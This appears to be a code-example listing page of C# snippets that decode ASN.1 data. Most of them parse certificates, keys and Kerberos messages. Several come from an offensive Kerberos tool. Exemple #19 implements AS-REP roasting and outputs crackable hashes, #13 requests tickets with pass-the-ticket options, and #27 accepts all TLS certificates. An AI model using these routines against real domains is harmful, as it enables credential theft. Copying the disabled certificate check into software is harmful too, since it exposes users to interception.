Exemple #1
0
        public static byte[] GetAppleAttestationExtensionValue(X509ExtensionCollection exts)
        {
            var appleExtension = exts.Cast <X509Extension>().FirstOrDefault(e => e.Oid.Value == "1.2.840.113635.100.8.2");

            if (appleExtension == null || appleExtension.RawData == null || appleExtension.RawData.Length < 0x26)
            {
                throw new VerificationException("Extension with OID 1.2.840.113635.100.8.2 not found on Apple attestation credCert");
            }

            try
            {
                var appleAttestationASN = AsnElt.Decode(appleExtension.RawData);
                appleAttestationASN.CheckConstructed();
                appleAttestationASN.CheckTag(AsnElt.SEQUENCE);
                appleAttestationASN.CheckNumSub(1);

                var sequence = appleAttestationASN.GetSub(0);
                sequence.CheckConstructed();
                sequence.CheckNumSub(1);

                var context = sequence.GetSub(0);
                context.CheckPrimitive();
                context.CheckTag(AsnElt.OCTET_STRING);

                return(context.GetOctetString());
            }

            catch (Exception ex)
            {
                throw new VerificationException("Apple attestation extension has invalid data", ex);
            }
        }
Exemple #2
0
        public PA_DATA(AsnElt body)
        {
            //if (body.Sub.Length != 2)
            //{
            //    throw new System.Exception("PA-DATA should contain two elements");
            //}

            //Console.WriteLine("tag: {0}", body.Sub[0].Sub[1].TagString);
            type = (Interop.PADATA_TYPE)body.FirstElement.FirstElement.GetInteger();
            byte[] valueBytes = body.SecondElement.FirstElement.GetOctetString();

            switch (type)
            {
            case Interop.PADATA_TYPE.PA_PAC_REQUEST:
                value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.SecondElement.FirstElement.CopyValue()));
                break;

            case Interop.PADATA_TYPE.ENC_TIMESTAMP:
                // TODO: parse PA-ENC-TIMESTAMP
                break;

            case Interop.PADATA_TYPE.AP_REQ:
                // TODO: parse AP_REQ
                break;

            default:
                break;
            }
        }
Exemple #3
0
        public KrbDHRepInfo(AsnElt asnElt)
        {
            if (asnElt.TagValue != AsnElt.SEQUENCE)
            {
                throw new ArgumentException("Expected SEQUENCE for type DHRepInfo");
            }

            foreach (AsnElt seq in asnElt.Sub)
            {
                switch (seq.TagValue)
                {
                case 0:     //dhSignedData
                    DHSignedData = seq.GetOctetString();
                    SignedCms cms = new SignedCms();
                    cms.Decode(DHSignedData);

                    try
                    {
                        cms.CheckSignature(true);
                    }
                    catch (CryptographicException)
                    {
                        Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?");
                    }

                    KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content));
                    break;

                case 1:     //serverDHNonce
                    ServerDHNonce = seq.GetOctetString();
                    break;
                }
            }
        }
Exemple #4
0
        public KrbKDCDHKeyInfo(AsnElt asnElt)
        {
            if (asnElt.TagValue != AsnElt.SEQUENCE)
            {
                throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo");
            }

            foreach (AsnElt sub in asnElt.Sub)
            {
                switch (sub.TagValue)
                {
                case 0:         //subjectPublicKey
                    SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString();
                    break;

                case 1:         //nonce
                    Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue);
                    break;

                case 2:         //dhKeyExpiration
                    DHKeyExpiration = sub.Sub[0].GetTime();
                    break;
                }
            }
        }
Exemple #5
0
        public static object GetKerberosPacket(byte[] kerberosBuffer)
        {
            object result = null;

            byte[] asn_buffer = AsnIO.FindBER(kerberosBuffer);

            if (asn_buffer != null)
            {
                AsnElt asn_object = AsnElt.Decode(asn_buffer);

                try
                {
                    // Get the application number
                    switch (asn_object.TagValue)
                    {
                    case (int)MessageType.krb_tgs_rep:
                        result = new KerberosTgsRepPacket(kdc_rep: asn_object.Sub[0].Sub);
                        break;
                    }
                }
                catch
                {
                    // TODO: log
                }
            }

            return(result);
        }
Exemple #6
0
        public void TestDecodeBER()
        {
            // Arrange (Use a Kerberos AS_REQ buffer).
            var kerberos_as_req = new byte[]
            {
                0x6a, 0x82, 0x01, 0x1f, 0x30, 0x82, 0x01, 0x1b, 0xa1, 0x03, 0x02, 0x01, 0x05, 0xa2, 0x03, 0x02,
                0x01, 0x0a, 0xa3, 0x5f, 0x30, 0x5d, 0x30, 0x48, 0xa1, 0x03, 0x02, 0x01, 0x02, 0xa2, 0x41, 0x04,
                0x3f, 0x30, 0x3d, 0xa0, 0x03, 0x02, 0x01, 0x17, 0xa2, 0x36, 0x04, 0x34, 0x09, 0xa2, 0x24, 0x48,
                0x93, 0xaf, 0xf5, 0xf3, 0x84, 0xf7, 0x9c, 0x37, 0x88, 0x3f, 0x15, 0x4a, 0x32, 0xd3, 0x96, 0xa9,
                0x14, 0xa4, 0xd0, 0xa7, 0x8e, 0x97, 0x9b, 0xa7, 0x5d, 0x4f, 0xf5, 0x3c, 0x1d, 0xb7, 0x29, 0x41,
                0x41, 0x76, 0x0f, 0xee, 0x05, 0xe4, 0x34, 0xc1, 0x2e, 0xcf, 0x8d, 0x5b, 0x9a, 0xa5, 0x83, 0x9e,
                0x30, 0x11, 0xa1, 0x04, 0x02, 0x02, 0x00, 0x80, 0xa2, 0x09, 0x04, 0x07, 0x30, 0x05, 0xa0, 0x03,
                0x01, 0x01, 0xff, 0xa4, 0x81, 0xad, 0x30, 0x81, 0xaa, 0xa0, 0x07, 0x03, 0x05, 0x00, 0x40, 0x81,
                0x00, 0x10, 0xa1, 0x10, 0x30, 0x0e, 0xa0, 0x03, 0x02, 0x01, 0x01, 0xa1, 0x07, 0x30, 0x05, 0x1b,
                0x03, 0x64, 0x65, 0x73, 0xa2, 0x08, 0x1b, 0x06, 0x44, 0x45, 0x4e, 0x59, 0x44, 0x43, 0xa3, 0x1b,
                0x30, 0x19, 0xa0, 0x03, 0x02, 0x01, 0x02, 0xa1, 0x12, 0x30, 0x10, 0x1b, 0x06, 0x6b, 0x72, 0x62,
                0x74, 0x67, 0x74, 0x1b, 0x06, 0x44, 0x45, 0x4e, 0x59, 0x44, 0x43, 0xa5, 0x11, 0x18, 0x0f, 0x32,
                0x30, 0x33, 0x37, 0x30, 0x39, 0x31, 0x33, 0x30, 0x32, 0x34, 0x38, 0x30, 0x35, 0x5a, 0xa6, 0x11,
                0x18, 0x0f, 0x32, 0x30, 0x33, 0x37, 0x30, 0x39, 0x31, 0x33, 0x30, 0x32, 0x34, 0x38, 0x30, 0x35,
                0x5a, 0xa7, 0x06, 0x02, 0x04, 0x0b, 0xc4, 0xdd, 0x7e, 0xa8, 0x19, 0x30, 0x17, 0x02, 0x01, 0x17,
                0x02, 0x02, 0xff, 0x7b, 0x02, 0x01, 0x80, 0x02, 0x01, 0x03, 0x02, 0x01, 0x01, 0x02, 0x01, 0x18,
                0x02, 0x02, 0xff, 0x79, 0xa9, 0x1d, 0x30, 0x1b, 0x30, 0x19, 0xa0, 0x03, 0x02, 0x01, 0x14, 0xa1,
                0x12, 0x04, 0x10, 0x58, 0x50, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
                0x20, 0x20, 0x20
            };

            // Act.
            byte[] ber_data   = Asn1.AsnIO.FindBER(kerberos_as_req);
            AsnElt asn_object = AsnElt.Decode(ber_data);

            // Assert
            Assert.IsTrue(asn_object.TagValue == 10);
            Assert.IsTrue(asn_object.Sub.Length == 1);
        }
Exemple #7
0
    static int GetRSAPublicKeySize(byte[] kv)
    {
        AsnElt ae = AsnElt.Decode(kv);

        ae.CheckTag(AsnElt.SEQUENCE);
        ae.CheckNumSub(2);
        AsnElt ai = ae.GetSub(0);

        ai.CheckTag(AsnElt.INTEGER);
        ai.CheckPrimitive();
        byte[] v = ai.CopyValue();
        if (v.Length > 0 && v[0] >= 0x80)
        {
            throw new AsnException(
                      "Invalid RSA modulus (negative)");
        }
        int bitLen = M.BitLength(v);

        if (bitLen < 512)
        {
            throw new AsnException(string.Format(
                                       "Invalid RSA modulus ({0} bits)", bitLen));
        }
        else if ((v[v.Length - 1] & 0x01) == 0)
        {
            throw new AsnException("Invalid RSA modulus (even)");
        }
        return(bitLen);
    }
Exemple #8
0
        public PA_DATA(AsnElt body)
        {
            //if (body.Sub.Length != 2)
            //{
            //    throw new System.Exception("PA-DATA should contain two elements");
            //}

            //Console.WriteLine("tag: {0}", body.Sub[0].Sub[0].TagValue);
            try
            {
                type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger();
                byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString();
            }
            catch
            {
                type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger();
                byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString();
            }

            switch (type)
            {
            case Interop.PADATA_TYPE.PA_PAC_REQUEST:
                value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
                break;

            case Interop.PADATA_TYPE.PK_AS_REP:
                value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
                break;

            case Interop.PADATA_TYPE.PA_S4U_X509_USER:
                break;
            }
        }
        public KRB_CRED(byte[] bytes)
        {
            RawBytes = bytes;
            AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false);

            this.Decode(asn_KRB_CRED.Sub[0]);
        }
Exemple #10
0
        public EncTicketPart Decrypt(byte[] serviceKey, byte[] asrepKey, bool noAdData = false)
        {
            var decryptedTicket = Crypto.KerberosDecrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, enc_part.cipher);
            var encTicket       = AsnElt.Decode(decryptedTicket, false);

            return(new EncTicketPart(encTicket.Sub[0], asrepKey, noAdData));
        }
Exemple #11
0
        //AS-REP          ::= [APPLICATION 11] KDC-REP

        //KDC-REP         ::= SEQUENCE {
        //        pvno            [0] INTEGER (5),
        //        msg-type        [1] INTEGER (11 -- AS),
        //        padata          [2] SEQUENCE OF PA-DATA OPTIONAL
        //                                -- NOTE: not empty --,
        //        crealm          [3] Realm,
        //        cname           [4] PrincipalName,
        //        ticket          [5] Ticket,
        //        enc-part        [6] EncryptedData
        //                                -- EncASRepPart
        //}

        public AS_REP(byte[] data)
        {
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt asn_AS_REP = AsnElt.Decode(data, false);

            this.Decode(asn_AS_REP);
        }
Exemple #12
0
        public static byte[] GetAttestationChallenge(byte[] attExtBytes)
        {
            var keyDescription = AsnElt.Decode(attExtBytes);

            // https://developer.android.com/training/articles/security-key-attestation#certificate_schema
            // attestationChallenge at index 4
            return(keyDescription.GetSub(4).GetOctetString());
        }
Exemple #13
0
        public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false, bool opsec = false)
        {
            if ((ulong)luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
            }

            string dcIP = Networking.GetDCIP(domainController, false);

            if (String.IsNullOrEmpty(dcIP))
            {
                throw new RubeusException("[X] Unable to get domain controller address");
            }

            byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn;

            try
            {
                responseAsn = AsnElt.Decode(response, false);
            }
            catch (Exception e)
            {
                throw new Exception($"Error parsing response AS-REQ: {e}.  Base64 response: {Convert.ToBase64String(response)}");
            }

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, outfile, ptt, luid, describe, verbose, asReq);

                return(kirbiBytes);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Exemple #14
0
        public EncKrbCredPart(AsnElt body)
            : this()
        {
            AsnElt body2 = AsnElt.Decode(body.SecondElement.FirstElement.GetOctetString(), false);

            // assume only one KrbCredInfo for now
            ticket_info.Add(
                new KrbCredInfo(body2.FirstElement.FirstElement.FirstElement.FirstElement));
        }
Exemple #15
0
        public void Decode(byte[] data)
        {
            Console.WriteLine("XCLIENT: Attempting to decode received packet..");

            try
            {
                AsnElt   KerberosPacket = AsnElt.Decode(data);
                AsnElt[] Sequences      = KerberosPacket.Sub[0].Sub;

                int PVNO = (int)Sequences[0].Sub[0].GetInteger();

                int MSG_TYPE = (int)Sequences[1].Sub[0].GetInteger();

                if (MSG_TYPE > 0 && PVNO == 5)
                {
                    AsnElt PA_DATA = Sequences[2];

                    AsnElt REQ_BODY = Sequences[3];

                    if (MessageFactory.Messages.ContainsKey(MSG_TYPE))
                    {
                        if (PA_DATA != null && REQ_BODY != null)
                        {
                            Message ReceviedMessage = (Message)Activator.CreateInstance(MessageFactory.Messages[MSG_TYPE], this);

                            ReceviedMessage.MSG_TYPE = MSG_TYPE;
                            ReceviedMessage.PA_DATA  = PA_DATA;
                            ReceviedMessage.REQ_BODY = REQ_BODY;

                            if (MSG_TYPE == 10 && Program.AuthAttempts == 5)
                            {
                                Console.WriteLine("XCLIENT: Error -> Unable to authenticate console!");

                                return;
                            }

                            Console.WriteLine("XCLIENT: Authentication Attempt #" + Program.AuthAttempts);

                            ReceviedMessage.Decode();
                            ReceviedMessage.Process();
                        }
                    }
                    else
                    {
                        Console.WriteLine("XCLIENT: Error -> Received unknown msg_type = " + MSG_TYPE + "!");
                    }
                }
            }
            catch (Exception Ex)
            {
                Console.WriteLine("XCLIENT: Error -> " + Ex);

                return;
            }

            Console.WriteLine("XCLIENT: Successfully decoded packet !");
        }
Exemple #16
0
        internal static DNPart Parse(string str)
        {
            int j = str.IndexOf('=');

            if (j < 0)
            {
                throw new AsnException("Invalid DN: no '=' sign");
            }
            string a = str.Substring(0, j).Trim();
            string b = str.Substring(j + 1).Trim();
            string oid;

            if (!FT_TO_OID.TryGetValue(a, out oid))
            {
                oid = AsnElt.MakeOID(oid).GetOID();
            }
            AsnElt aVal;

            if (b.StartsWith("#"))
            {
                MemoryStream ms = new MemoryStream();
                int          n  = b.Length;
                for (int k = 1; k < n; k += 2)
                {
                    int x = HexValCheck(b[k]);
                    if (k + 1 >= n)
                    {
                        throw new AsnException(
                                  "Odd number of hex digits");
                    }
                    x = (x << 4) + HexValCheck(b[k + 1]);
                    ms.WriteByte((byte)x);
                }
                try {
                    aVal = AsnElt.Decode(ms.ToArray());
                } catch (Exception e) {
                    throw new AsnException("Bad DN value: "
                                           + e.Message);
                }
            }
            else
            {
                b = UnEscapeUTF8(b);
                int type = AsnElt.PrintableString;
                foreach (char c in b)
                {
                    if (!AsnElt.IsPrintable(c))
                    {
                        type = AsnElt.UTF8String;
                        break;
                    }
                }
                aVal = AsnElt.MakeString(type, b);
            }
            return(new DNPart(oid, aVal));
        }
Exemple #17
0
        static IPublicKey DecodePublicKeyRSA(byte[] pub)
        {
            AsnElt ae = AsnElt.Decode(pub);

            ae.CheckTag(AsnElt.SEQUENCE);
            ae.CheckNumSub(2);
            byte[] n = GetPositiveInteger(ae.GetSub(0));
            byte[] e = GetPositiveInteger(ae.GetSub(1));
            return(new RSAPublicKey(n, e));
        }
Exemple #18
0
        public AS_REQ(byte[] data)
        {
            // decode the supplied bytes to an AsnElt object
            data = AsnIO.FindBER(data);
            AsnElt asn_AS_REQ = AsnElt.Decode(data);

            padata = new List <PA_DATA>();

            // AS-REQ::= [APPLICATION 10] KDC-REQ
            //  tag class == 1
            //  tag class == 10
            //  SEQUENCE
            if (asn_AS_REQ.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REQ)
            {
                throw new System.Exception("AS-REQ tag value should be 10");
            }

            if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16))
            {
                throw new System.Exception("First AS-REQ sub should be a sequence");
            }

            // extract the KDC-REP out
            AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub;

            foreach (AsnElt s in kdc_req)
            {
                switch (s.TagValue)
                {
                case 1:
                    pvno = s.Sub[0].GetInteger();
                    break;

                case 2:
                    msg_type = s.Sub[0].GetInteger();
                    break;

                case 3:
                    // sequence of pa-data
                    foreach (AsnElt pa in s.Sub[0].Sub)
                    {
                        padata.Add(new PA_DATA(pa));
                    }
                    break;

                case 4:
                    // KDC-REQ-BODY
                    req_body = new KDCReqBody(s.Sub[0]);
                    break;

                default:
                    throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue));
                }
            }
        }
Exemple #19
0
        public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "")
        {
            // roast AS-REPs for users without pre-authentication enabled
            Console.WriteLine("[*] Action: AS-REP Roasting");

            string dcIP = Networking.GetDCIP(domainController);

            if (string.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);
            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (null == response)
            {
                return;
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 11:
                Console.WriteLine("[+] AS-REQ w/o preauth successful!");
                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(response);
                // output the hash of the encrypted KERB-CRED in a crackable hash form
                string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");
                string hashString = (format == "john")
                        ? string.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash)
                                    // eventual hashcat format
                        : string.Format("$krb5asrep${0}$*{1}${2}*${3}${4}",
                                        (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32));
                Console.WriteLine("[*] AS-REP hash:\r\n");
                // display the base64 of a hash, columns of 80 chararacters
                foreach (string line in Helpers.Split(hashString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
                return;

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return;

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return;
            }
        }
Exemple #20
0
        /*
         * Decode a public key (SubjectPublicKeyInfo).
         */
        public static IPublicKey DecodePublicKey(byte[] spki)
        {
            string pemType = null;

            spki = AsnIO.FindBER(spki, false, out pemType);
            if (spki == null)
            {
                throw new AsnException("Not an encoded object");
            }
            return(DecodePublicKey(AsnElt.Decode(spki)));
        }
Exemple #21
0
        public AsnElt Encode()
        {
            AsnElt parameters = AsnElt.Decode(Parameters);

            return(AsnElt.Make(
                       AsnElt.SEQUENCE, new AsnElt[] {
                AsnElt.MakeOID(Algorithm.Value),
                parameters
            }
                       ));
        }
Exemple #22
0
        public AS_REQ(byte[] data)
        {
            // decode the supplied bytes to an AsnElt object
            data = AsnIO.FindBER(data);
            AsnElt asn_AS_REQ = AsnElt.Decode(data);

            padata = new List <PA_DATA>();

            // AS-REQ::= [APPLICATION 10] KDC-REQ
            //  tag class == 1
            //  tag class == 10
            //  SEQUENCE
            if (asn_AS_REQ.TagValue != 10)
            {
                throw new System.Exception("AS-REQ tag value should be 10");
            }
            if ((asn_AS_REQ.Count != 1) || (asn_AS_REQ.FirstElement.TagValue != 16))
            {
                throw new System.Exception("First AS-REQ sub should be a sequence");
            }

            // extract the KDC-REP out
            foreach (AsnElt s in asn_AS_REQ.FirstElement.EnumerateElements())
            {
                AsnElt firstElement = s.FirstElement;
                switch (s.TagValue)
                {
                case 1:
                    pvno = firstElement.GetInteger();
                    break;

                case 2:
                    msg_type = firstElement.GetInteger();
                    break;

                case 3:
                    // sequence of pa-data
                    foreach (AsnElt pa in firstElement.EnumerateElements())
                    {
                        padata.Add(new PA_DATA(pa));
                    }
                    break;

                case 4:
                    // KDC-REQ-BODY
                    req_body = new KDCReqBody(firstElement);
                    break;

                default:
                    throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue));
                }
            }
        }
Exemple #23
0
        public EncKrbCredPart(AsnElt body)
        {
            ticket_info = new List <KrbCredInfo>();

            byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
            AsnElt body2       = AsnElt.Decode(octetString);

            // assume only one KrbCredInfo for now
            KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);

            ticket_info.Add(info);
        }
Exemple #24
0
        public static DiffieHellmanKey ParsePublicKey(byte[] data, int keyLength)
        {
            AsnElt publicKeyAsn = AsnElt.Decode(data);

            if (publicKeyAsn.TagValue != AsnElt.INTEGER)
            {
                throw new ArgumentException("data doesn't appear to be an ASN.1 encoded INTERGER");
            }

            return(new DiffieHellmanKey {
                PublicComponent = publicKeyAsn.GetOctetString().DepadLeft().PadRight(keyLength)
            });
        }
Exemple #25
0
        public static string CDPFromCertificateExts(X509ExtensionCollection exts)
        {
            var cdp = "";

            foreach (var ext in exts)
            {
                if (ext.Oid.Value.Equals("2.5.29.31")) // id-ce-CRLDistributionPoints
                {
                    var asnData = AsnElt.Decode(ext.RawData);
                    cdp = System.Text.Encoding.ASCII.GetString(asnData.Sub[0].Sub[0].Sub[0].Sub[0].GetOctetString());
                }
            }
            return(cdp);
        }
Exemple #26
0
        public static object GetKerberosPacket(byte[] kerberosBuffer, string protocol)
        {
            object result = null;

            // Consider the TCP Record Mark when parsing Kerberos over TCP packets.
            if (protocol == "TCP")
            {
                var recordMarkLengthBuffer = kerberosBuffer.SubArray(0, 4);

                // The return value of ToInt32 method depends on system architecture.
                // Therfore we explicitly enforce BigEndian.
                if (BitConverter.IsLittleEndian)
                {
                    Array.Reverse(recordMarkLengthBuffer);
                }

                var recordMarkLength = BitConverter.ToInt32(recordMarkLengthBuffer, 0);

                if (recordMarkLength + 4 <= kerberosBuffer.Length)
                {
                    kerberosBuffer = kerberosBuffer.SubArray(4, recordMarkLength);
                }
                else
                {
                    throw new Exception("Kerberos record mark length is out of range");
                }
            }

            byte[] asn_buffer = AsnIO.FindBER(kerberosBuffer);

            if (asn_buffer != null)
            {
                AsnElt asn_object = AsnElt.Decode(asn_buffer);

                // Get the application number.
                switch (asn_object.TagValue)
                {
                case (int)MessageType.krb_tgs_rep:
                    result = new KerberosTgsRepPacket(kdc_rep: asn_object.Sub[0].Sub);
                    break;

                case (int)MessageType.krb_as_rep:
                    result = new KerberosAsRepPacket(kdc_rep: asn_object.Sub[0].Sub);
                    break;
                }
            }

            return(result);
        }
Exemple #27
0
        public static byte[] MakeProxyRequest(string proxyUrl, KDC_PROXY_MESSAGE message)
        {
            byte[] responseBytes = null;

            byte[]       messageBytes = message.Encode().Encode();
            BinaryWriter bw           = new BinaryWriter(new MemoryStream());

            bw.Write(messageBytes);
            byte[] data = ((MemoryStream)bw.BaseStream).ToArray();

            // because we don't care if the server certificate can't be verified
            ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(AcceptAllCertifications);

            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(proxyUrl);
                request.Method        = "POST";
                request.ContentLength = data.Length;
                request.ContentType   = "application/kerberos";
                request.UserAgent     = "Rubeus/1.0";

                BinaryWriter socketWriter = new BinaryWriter(request.GetRequestStream());
                socketWriter.Write(data);

                var response = (HttpWebResponse)request.GetResponse();

                BinaryReader socketReader = new BinaryReader(response.GetResponseStream());
                responseBytes = socketReader.ReadBytes((int)response.ContentLength);
            }
            catch (Exception e)
            {
                Console.WriteLine("\r\n[!] Unhandled Rubeus exception:\r\n");
                Console.WriteLine(e);
            }

            KDC_PROXY_MESSAGE responseMessage = new KDC_PROXY_MESSAGE(AsnElt.Decode(responseBytes));

            BinaryReader br         = new BinaryReader(new MemoryStream(responseMessage.kerb_message));
            int          recordMark = IPAddress.NetworkToHostOrder(br.ReadInt32());
            int          recordSize = recordMark & 0x7fffffff;

            if ((recordMark & 0x80000000) > 0)
            {
                Console.WriteLine("[X] Unexpected reserved bit set on response record mark from KDC Proxy: {0}, aborting", proxyUrl);
                return(null);
            }

            return(br.ReadBytes(recordSize));
        }
Exemple #28
0
        protected override void Decode(AsnElt data, byte[] asrepKey = null)
        {
            foreach (AsnElt s in data.Sub)
            {
                switch (s.TagValue)
                {
                case 0:
                    ad_type = (Interop.AuthorizationDataType)s.Sub[0].GetInteger();
                    break;

                case 1:
                    ADData = new List <AuthorizationData>();
                    foreach (AsnElt i in AsnElt.Decode(s.Sub[0].GetOctetString()).Sub)
                    {
                        switch (i.Sub[0].TagValue)
                        {
                        case 0:
                            switch ((Interop.AuthorizationDataType)i.Sub[0].Sub[0].GetInteger())
                            {
                            case Interop.AuthorizationDataType.AD_IF_RELEVANT:
                                ADData.Add(new ADIfRelevant(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0]));
                                break;

                            case Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS:
                                ADData.Add(new ADRestrictionEntry(AsnElt.Decode(i.Sub[1].Sub[0].GetOctetString()).Sub[0]));
                                break;

                            case Interop.AuthorizationDataType.KERB_LOCAL:
                                ADData.Add(new ADKerbLocal(i.Sub[1].Sub[0].GetOctetString()));
                                break;

                            case Interop.AuthorizationDataType.AD_WIN2K_PAC:
                                ADData.Add(new ADWin2KPac(AsnElt.Decode(s.Sub[0].GetOctetString()).Sub[0], asrepKey));
                                break;

                            default:
                                break;
                            }
                            break;
                        }
                    }
                    break;

                default:
                    break;
                }
            }
        }
Exemple #29
0
        public void Decode(byte[] data)
        {
            Logger.Info("Attemping to decode received packet..");

            try
            {
                AsnElt   KerberosPacket = AsnElt.Decode(data);
                AsnElt[] Sequences      = KerberosPacket.Sub[0].Sub;

                int PVNO = (int)Sequences[0].Sub[0].GetInteger();

                int MSG_TYPE = (int)Sequences[1].Sub[0].GetInteger();

                if (MSG_TYPE > 0 && PVNO == 5)
                {
                    AsnElt PA_DATA = Sequences[2];

                    AsnElt REQ_BODY = Sequences[3];

                    if (MessageFactory.Messages.ContainsKey(MSG_TYPE))
                    {
                        if (PA_DATA != null && REQ_BODY != null)
                        {
                            Message ReceviedMessage = (Message)Activator.CreateInstance(MessageFactory.Messages[MSG_TYPE], this);

                            ReceviedMessage.MSG_TYPE = MSG_TYPE;
                            ReceviedMessage.PA_DATA  = PA_DATA;
                            ReceviedMessage.REQ_BODY = REQ_BODY;

                            ReceviedMessage.Decode();
                            ReceviedMessage.Process();
                        }
                    }
                    else
                    {
                        Logger.Warn("Received unknown msg_type " + MSG_TYPE + "!");
                    }
                }
            }
            catch (Exception ex)
            {
                Logger.Error("Failed to decode received packet : " + ex);

                return;
            }

            Logger.Info("Successfully decoded received packet!");
        }
Exemple #30
0
        static IPrivateKey DecodePrivateKeyPKCS8(AsnElt ak)
        {
            ak.CheckNumSub(3);
            ak.GetSub(0).CheckTag(AsnElt.INTEGER);
            long v = ak.GetSub(0).GetInteger();

            if (v != 0)
            {
                throw new AsnException(
                          "Unsupported PKCS#8 version: " + v);
            }
            AsnElt aai = ak.GetSub(1);

            aai.CheckTag(AsnElt.SEQUENCE);
            aai.CheckNumSubMin(1);
            aai.CheckNumSubMin(2);
            aai.GetSub(0).CheckTag(AsnElt.OBJECT_IDENTIFIER);
            string oid = aai.GetSub(0).GetOID();

            ak.GetSub(2).CheckTag(AsnElt.OCTET_STRING);
            byte[] rawKey = ak.GetSub(2).CopyValue();
            AsnElt ark    = AsnElt.Decode(rawKey);

            switch (oid)
            {
            case OID_RSA:
            case OID_RSA_OAEP:
            case OID_RSA_PSS:
                return(DecodePrivateKeyRSA(ark));

            /* disabled DSA
             * case OID_DSA:
             *      return DecodePrivateKeyDSA(ark);
             */
            case OID_EC:
                /*
                 * For elliptic curves, the parameters may
                 * include the curve specification.
                 */
                ECCurve curve = (aai.Sub.Length == 2)
                                ? DecodeCurve(aai.GetSub(1)) : null;
                return(DecodePrivateKeyEC(ark, curve));

            default:
                throw new AsnException(
                          "Unknown PKCS#8 key type: " + oid);
            }
        }